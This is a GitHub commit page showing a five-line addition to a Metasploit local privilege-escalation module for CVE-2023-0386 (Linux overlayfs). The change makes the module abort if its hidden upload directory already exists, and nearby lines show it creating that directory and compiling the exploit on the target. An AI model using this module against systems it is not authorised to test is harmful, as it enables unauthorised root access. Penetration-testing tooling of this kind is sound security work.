Skip to content

Commit 920ef70

Browse files
committed
Exploit dir existing check
1 parent b243b86 commit 920ef70

File tree

1 file changed

+5
-0
lines changed

1 file changed

+5
-0
lines changed

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -117,6 +117,11 @@ def exploit
117117

118118
# Upload exploit executable
119119
exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
120+
121+
if file_exist?(exploit_dir)
122+
fail_with(Failure::BadConfig, 'Exploit dir already exists')
123+
end
124+
120125
cmd_exec("mkdir -p #{exploit_dir}")
121126
if live_compile? && command_exists?('xxd')
122127
vprint_status('Live compiling exploit on system...')

0 commit comments

Comments
 (0)